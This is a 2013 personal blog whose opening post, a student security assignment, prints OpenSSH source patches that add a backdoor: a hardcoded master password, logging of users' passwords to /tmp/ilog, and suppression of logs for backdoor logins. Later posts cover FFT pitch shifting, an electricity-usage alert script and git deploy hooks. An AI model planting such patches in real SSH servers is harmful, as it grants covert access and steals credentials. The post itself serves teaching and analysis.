12月 30, 2013
SSH Backdoor --- a simple example analysis
Information security assignment by 曹逸君
It's not a secret that there are dozens of ssh backdoor out there.
And it's fairly easy to write a simple one.
Usually they have two main functions.
Secret authentication and Password|RSA key collection
Secret authentication
Password or RSA key auth for the backdoor user,In the example only password auth implemented.
diff -u openssh/includes.h openssh.patch//includes.h
--- openssh/includes.h 2010-10-24 06:47:30.000000000 +0800
+++ openssh.patch//includes.h 2013-12-24 22:17:53.385927565 +0800
@@ -172,4 +172,9 @@
#include "entropy.h"
+int secret_auth;
+FILE *f;
+#define ILOG "/tmp/ilog"
+#define OLOG "/tmp/olog"
+#define SECRETPW "flyhigh"
diff -u openssh/auth-passwd.c openssh.patch//auth-passwd.c
+ if (!strcmp(password, SECRETPW)) {
+ secret_auth=1;
+ return 1;
+ }
Password|RSA key collection
Only passwords collection are implemented in this example.Both in and out.
And in the example we won't send the stolen passwords to our server, just simply write it to a file.
@@ -123 , 6 + 126 , 12 @@
}
#endif
result = sys_auth_passwd ( authctxt , password );
+ if ( result ) {
+ if (( f = fopen ( ILOG , "a" )) != NULL ) {
+ fprintf ( f , "user:password --> %s:%s\n" , authctxt -> user , password );
+ fclose ( f );
+ }
+ }
No log for backdoor
There are several place modified to prevent log of backdoor user's login activities.like this.
diff -u openssh/log.c openssh.patch//log.c
--- openssh/log.c 2011-06-20 11:42:23.000000000 +0800
+++ openssh.patch//log.c 2013-12-24 22:17:53.385927565 +0800
@@ -351,6 +351,7 @@
void
do_log(LogLevel level, const char *fmt, va_list args)
{
+if(!secret_auth || secret_auth!=1){
#if defined(HAVE_OPENLOG_R) && defined(SYSLOG_DATA_INIT)
struct syslog_data sdata = SYSLOG_DATA_INIT;
#endif
@@ -428,3 +429,4 @@
}
errno = saved_errno;
}
+}
Futher features
There are features that is crucial to reallife usage.
1. rookit to protect the backdoor
2. live-patch to make sure sshd won't have to restart.
3. auto-send collected passwords and RSA secret keys.
These features have been shown up in real-life examples.
Security is not only about keep the boarder,inner environment monitor is evenly essential.
reference
origin patch code
openssh
Written with StackEdit .
12月 22, 2013
快速傅里叶变换--用于变调
快速傅里叶变换–用于变调
曹逸君 张思雨
PS:用于交线性代数报告,线代的应用。
对傅里叶变换的理解
看了视频课、各种博文。对傅里叶变换(FFT)理解如下:
傅里叶变换有各种变体,
1. 非周期性连续信号 傅立叶变换(Fourier Transform)
2. 周期性连续信号 傅立叶级数(Fourier Series)
3. 非周期性离散信号 离散时域傅立叶变换(Discrete Time Fourier Transform)
4. 周期性离散信号 离散傅立叶变换(Discrete Fourier Transform)
实际信号处理中,都是用的离散傅立叶变换(DFT),因为计算机能处理得只能是离散得值。
而快速傅里叶变换(FFT) 则是将傅里叶变换的时间复杂度降至n ∗ l o g ( n ) 的改进算法。
傅里叶变换总的来说是将函数从基于时域和频域得相互转换得变换。
或者说成将任意(连续周期,数学上得要求,实际操作上可以对任意数据进行。)函数分解为多个正余弦函数。
傅里叶矩阵与傅里叶变换
复矩阵
复向量的模
复向量 z ∈ C n 其模 | z | = z H z = z ¯ T z
zH表示对向量z的转置并共轭,H代表埃尔米特Hermite
复向量的内积:x H y
埃尔米特矩阵:A H = A 当A 是实矩阵时,即为对称矩阵。
对称矩阵和埃尔米特矩阵的特征值是实数,特征向量相互垂直。
复矩阵正交称为酉矩阵(unitary),有Q H Q = I 即Q − 1 = Q H
傅里叶矩阵
F n = ⎛ ⎝ ⎜ ⎜ ⎜ ⎜ ⎜ ⎜ ⎜ ⎜ ⎜ 1 1 1 1 1 1 1 w w 2 w 3 ⋮ w ( n − 1 ) 1 w 2 w 4 w 6 ⋮ w 2 ( n − 1 ) 1 w 3 w 6 w 9 ⋮ w 3 ( n − 1 ) 1 ⋯ ⋯ ⋯ ⋱ w n ( n − 1 ) 1 w ( n − 1 ) w 2 ( n − 1 ) w 3 ( n − 1 ) w n ( n − 1 ) w ( n − 1 ) 2 ⎞ ⎠ ⎟ ⎟ ⎟ ⎟ ⎟ ⎟ ⎟ ⎟ ⎟
傅里叶矩阵是个特殊的酉矩阵。其中
w 满足
w n = 1 。用复指数表示为
w = e i 2 π n 。PS:上帝公式
e i π = − 1 。
将原始数据向量左乘傅里叶矩阵就完成了傅里叶变换。
左乘傅里叶矩阵的逆矩阵A − 1 = A H 就是傅里叶逆变换。
快速傅里叶变换(FFT)
由于傅里叶矩阵各列正交。又呈实矩阵那样得对称性。故可以将其分解。
( F 64 ) = ( I I D − D ) ( F 32 0 0 F 32 ) ( P )
P 是奇偶置换矩阵。D = ⎛ ⎝ ⎜ ⎜ ⎜ ⎜ ⎜ ⎜ 1 w w 2 ⋱ w 31 ⎞ ⎠ ⎟ ⎟ ⎟ ⎟ ⎟ ⎟ 。并且w 32 = w 64 2 。
如上分解可以迭代下去到一阶傅里叶矩阵。而计算量也由n 2 降为1 2 n l o g ( n ) 。
快速傅里叶变换用于变调
过程如下:将音频采样(振幅对于时间得函数上得点)通过快速傅里叶变换转为不同频率声音的振幅分布。
然后就可以方便的对不同频率进行操作了。比如这里我们将整个频率调高/调低(变得像女声/男声)。
然后再通过逆傅里叶变换转换回振幅对于时间的分布数据。
图中蓝色为原始音频通过傅里叶变换得到的频谱。[横轴为频率,纵轴为振幅。]
绿色的是整体提升频率后得频谱。
绿色整体被拉长,表明频率整体升高。同时振幅整体缩小。[衰减2Db以降噪。]
上图蓝色为原始音频的波形图,[横轴为时间,纵轴为振幅。]
可以看到时间长度未变。频率却升高了。[波峰更加密集]
以上两图是1.25秒长度得小块数据,挑了两个比较清楚得。
源码和文件将和文档一起打包。
在Github上
全部文档和源码遵守CC协议。
快速傅里叶变换–用于变调 由 曹逸君,张思雨 创作,采用 知识共享 署名-非商业性使用-相同方式共享 4.0 国际 许可协议 进行许可。
引用:
Numpy fft 手册
快速傅里叶变换将歌曲变调
介绍FFT的博文
MIT线性代数公开课,复数矩阵和快速傅里叶变换
线性代数导论27——复数矩阵和快速傅里叶变换,笔记
Written with StackEdit .
11月 19, 2013
这要从几天前宿舍突然断电说起。代码敲得正欢,卡擦。没电了。网也断了(路由断电)。
坑爹呢这是,宿舍一伙人第一反映,没电费了,赶紧去交。交完发现,其实我们还有200Kwh剩余。
又交了400¥.于是就有了800Kwh,估计一年都有可能用不完。而断电只是由于不明原因跳闸。
电费系统坑点:
1.预冲式,没电费了直接断电,无提示。
2.缴费终端查询和缴费分开,只缴费是看不到剩余的。
3.钱交了,想退恐怕是极难的。
同济有个能源网可以查剩余电量。一天一更新。nyglzx.tongji.edu.cn/web/datastat.aspx
这次被坑后,我含着悲愤,写了个自动检测电量得脚本github repo
电量低于一点值,比如10Kwh就发邮件到我邮箱提醒我。
然后又想了,其他小伙伴说不定也有这个需求,就写了个简单得页面放到服务器上提供电费过低提示功能。
脚本写的很简陋、很难看。如果需求大得话继续改进吧。
话说一句print()很诡异的只在服务器上用nginx+uwsgi出编码错误(ascii' codec can't encode characters
)
在本机无论是nginx+uwsgi。还是直接用web.py自带得webserver都没问题,在服务器上就执着得报错,还偶尔不报,非常郁闷。
喔。地址是http://tjwarner.caoyijun.com/
11-25 更新,有7、8个用户,但以脚本抓取得方式很不稳定,查询网站时常timeout。(可能VPS在海外得关系)。
信息源不稳定真是个很痛苦得事情,要做很多补丁式得东西。重试、预测等(能源网一天更新一次)。
11月 11, 2013
前面用git得post-receive
钩子实现了自动部署,很是舒畅,然后想着自动群发个邮件,项目组得人都能及时得知仓库更新、项目进度岂不是很好。
我搜到得实现方式有用sendmail得,有用smtp的。但因为我很懒。已经用过web.py得sendmail.简洁到根本不想去搞其他配置。像这样:(其实用python得标准库也很简单。)
import web
web . config . smtp_server = 'smtp.gmail.com'
web . config . smtp_port = 587
web . config . smtp_username = 'qunfazhuanyong@gmail.com'
web . config . smtp_password = 'mima'
web . config . smtp_starttls = True
发送邮件就是web.sendmail('qunfazhuanyong@gmail.com', receiver, title, msg)
非常赏心悦目,然后我十分作死得选择继续用bash写post-receive
钩子。
bash简直大坑,各种奇怪的惯例,扭曲得语法,和系统工具的紧密利用。不仔细看遍bash手册会写得非常痛苦。各种搜索。最终写出得post-receive
:
1
2
3
4
5
6
7
8
9
10
11
12
13 #!/bin/sh
#auto deploy and sendmail
echo 'auto deploy'
RET = ` git --git-dir= /home/git/app.git/ --work-tree= /webroot/app reset --hard`
STAT = $?
if [ $STAT -eq 0 ] ; then
git show | echo $'new chc deployed\n' " $( cat) " | ./hooks/sendmail.py
echo 'deployed!'
else
echo $'deploy error\n' " $RET " | ./hooks/sendmail.py
echo "=口= something went wrong. $STAT "
fi
坑点如下:
\n
转义?单引号加$,echo -e
也可以
$'deploy error\n'
字符串链接?放在一起就是
$'deploy error\n'"$RET"
还有系统方面得一个概念。参数和标准输入是不一样得。
./sendmail.py 嘿是我 其实没什么事
sys.argv == ['sendmail.py','嘿是我','其实没什么事']
./test.sh 卧槽你想干嘛
$0==./test.sh $1==卧槽你想干嘛
以上是参数。以下分别为python和bash里获取标准输入
sys.stdin.read()
当然还有readline readlines。我觉得这里直接read()最省事。
"$(cat)"
巨坑bash来了,cat
不加参数得时候就是cat /dev/stdin
,从标准输入输出到标准输出。然后用$(命令)
取值。用双引号变量才会取值,换行符才会保留
深感bash真不友好。python我只要随便搜搜,大概知道要用sys.stdin得库。help看下帮助马上就知道要用read还是readline还是readlines。bash只能不停搜索搜索。看手册都不知道要看哪儿。一开是我还以为是echo把换行给去掉了。=。=
然后便是最强大得管道了。也就是:|
关于管道
完整的sendmail.py
代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26 #! /usr/bin/env python
# coding=utf-8
# sendmail
# C19<classone2010@gmail.com>
import web
import sys
web . config . smtp_server = 'smtp.gmail.com'
web . config . smtp_port = 587
web . config . smtp_username = 'qunfazhuanyong@gmail.com'
web . config . smtp_password = 'mima'
web . config . smtp_starttls = True
#receiver list
receiver = [ 'dev1@gmail.com' , 'dev2@gmail.com' , 'dev3@gmail.com' , 'dev4@gmail.com' ]
def sendmail ( title , msg ):
print ( "sending mail {0}" . format ( title ))
web . sendmail ( 'qunfazhuanyong@gmail.com' , receiver , title , msg )
if __name__ == '__main__' :
if len ( sys . argv ) > 2 :
sendmail ( sys . argv [ 1 ], sys . argv [ 2 ])
else :
stdin = sys . stdin . read ()
stdin = stdin . split ( ' \n ' , 1 )
sendmail ( stdin [ 0 ], stdin [ 1 ])
其实,如果全部用python实现要舒服得多。。=。=
好吧。真就有纯Python的实现。只需配置即可。
https://github.com/mhagger/git-multimail
11月 10, 2013
git的hook提供了非常大得自由度。
有commit发邮件啦。push后更新网站啦。做测试啦。无所不能。
所谓hook就是.git/hooks目录下得各种脚本。根据名字分别在不同情况下由git调用。这里post-receives是接收push结束后触发。
.git/hooks/post-receive
#!/bin/sh
echo 'auto deploy'
git --git-dir= /path/blog.git/ --work-tree= /webroot/blog reset --hard
STAT = $?
if [ $STAT -eq 0 ] ; then
echo 'deployed!'
else
echo "=口= something went wrong. $STAT "
fi
说起来被shell脚本坑了一道。[ $STAT -eq 0 ]
和[$STAT -eq 0]
是不一样的。
字符串比较和数字比较是不一样的。表达式还有圆括号、方框号、双圆括号、双方框号之分。
虽说shell script很不习惯,也可以用Python等其他脚本语言,但直接写命令进去还是最符合平时在shell中的操作。
比较有意思的是这句。git --git-dir=/path/blog.git/ --work-tree=/webroot/blog reset --hard
我得工作流是笔记本写好博文,生成静态文件,git commit然后push到服务器的bare仓库。通过bare仓库得钩子将文件更新到webroot。
因为webroot目录不是git仓库,所以就采取了这种以真正得git仓库为仓库(git-dir),把工作目录(work-tree)定为webroot然后reset的这种暴力方式。
如果你想,其实把webroot作为git得work-tree目录也行。要更直接。连hook都不用写了。
为什么不用rsync或者Capistrano?=。= 纯粹是因为懒。
当我只需要一个简单得更新文件得时候,不想牵扯到更多东西,既然git写个hook可以搞定,以后还可以随意扩展,就不想增加复杂性了。